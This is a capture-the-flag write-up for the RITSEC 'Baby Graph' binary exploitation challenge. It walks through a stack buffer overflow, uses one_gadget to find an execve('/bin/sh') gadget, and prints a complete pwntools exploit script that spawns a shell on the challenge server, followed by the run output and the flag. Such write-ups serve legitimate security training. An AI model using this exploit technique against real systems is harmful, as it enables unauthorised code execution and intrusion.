# RITSEC Baby Graph Write Up
## Details:
Jeopardy style CTF
Category: Binary Exploitation
Comments:
This is what happens to your baby when you want a pwner and a graph theorist. Do your part!!!
```nc challenges1.ritsec.club 1339```
## Write up:
Looking at the C source we can see that we need to answer some graph theory questions and then we get to the vulnerability:
```cvoid vuln() {    char buf[100];
    printf("Here is your prize: %p\n", system);    fgets(buf, 400, stdin);}```
This function prints out the address of system and then reads in data resulting in a buffer overflow. 
At this point my teammate made a quick script to do the graph theory problems which then let me check if we could get a segfault.
This challenge provided a libc so I did not need to leak libc. I then used one_gadget to find potential jumps:
```one_gadget libc.so.6  
0xe6c7e execve("/bin/sh", r15, r12)constraints:  [r15] == NULL || r15 == NULL  [r12] == NULL || r12 == NULL
0xe6c81 execve("/bin/sh", r15, rdx)constraints:  [r15] == NULL || r15 == NULL  [rdx] == NULL || rdx == NULL
0xe6c84 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL```
Using gdb I found that 0xe6c81 was the call I wanted and that I would need 120 NOPs. I then created the following script:
```python# import pwntoolsfrom pwn import *
# open connectionconn = remote('challenges1.ritsec.club', 1339)
# open libclibc = ELF('./libc.so.6')
# get system call offsetsysCall = libc.symbols['system']
# do graph theory stufffrom collections import defaultdict class Graph:    def __init__(self,vertices):        self.V= vertices #No. of vertices        self.graph = defaultdict(list) # default dictionary to store graph    def addEdge(self,u,v):        self.graph[u].append(v)        self.graph[v].append(u)    def DFSUtil(self,v,visited):        visited[v]= True        for i in self.graph[v]:            if visited[i]==False:                self.DFSUtil(i,visited)    def isConnected(self):        visited =[False]*(self.V)        for i in range(self.V):            if len(self.graph[i]) > 1:                break        if i == self.V-1:            return True        self.DFSUtil(i,visited)        for i in range(self.V):            if visited[i]==False and len(self.graph[i]) > 0:                return False        return True    def isEulerian(self):        if self.isConnected() == False:            return 0        else:            odd = 0            for i in range(self.V):                if len(self.graph[i]) % 2 !=0:                    odd +=1            return odd==0 def i():    s = conn.recvline().strip().decode()    print(s)    return sfor _ in range(5):    i()    l=i().split(' ')    v =int(l[2])    e=int(l[6])    g = Graph(v)    for _ in range(e):        a,b = i().split()        g.addEdge(int(a),int(b))    i()    print(g.isEulerian())    if g.isEulerian():        conn.send('Y\n')    else:        conn.send('N\n')
# get the system addressaddy = conn.readline()addy = (int(str(addy)[22:-3], 16))
# make the nopsnops = b'\x90'* 120
# send the payloadconn.sendline(nops + p64(addy - sysCall + 0xe6c81))
# open interactive modeconn.interactive()```
When run I got the following:
```[+] Opening connection to challenges1.ritsec.club on port 1339: Done[*] '/home/kali/Downloads/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledHere is your baby graphV = 9 - E = 110 20 82 32 42 52 63 64 86 76 87 8Now tell me if this baby is Eulerian? (Y/N)FalseHere is your baby graphV = 2 - E = 0Now tell me if this baby is Eulerian? (Y/N)TrueHere is your baby graphV = 9 - E = 350 10 20 30 40 50 60 70 81 21 31 41 51 61 71 82 32 42 52 62 72 83 43 53 63 73 84 54 64 74 85 65 75 86 87 8Now tell me if this baby is Eulerian? (Y/N)FalseHere is your baby graphV = 6 - E = 0Now tell me if this baby is Eulerian? (Y/N)TrueHere is your baby graphV = 5 - E = 0Now tell me if this baby is Eulerian? (Y/N)True[*] Switching to interactive mode$ cat flag.txtRS{B4by_gr4ph_du_DU_dU_Du_B4by_graph_DU_DU_DU_DU_Baby_gr4ph}```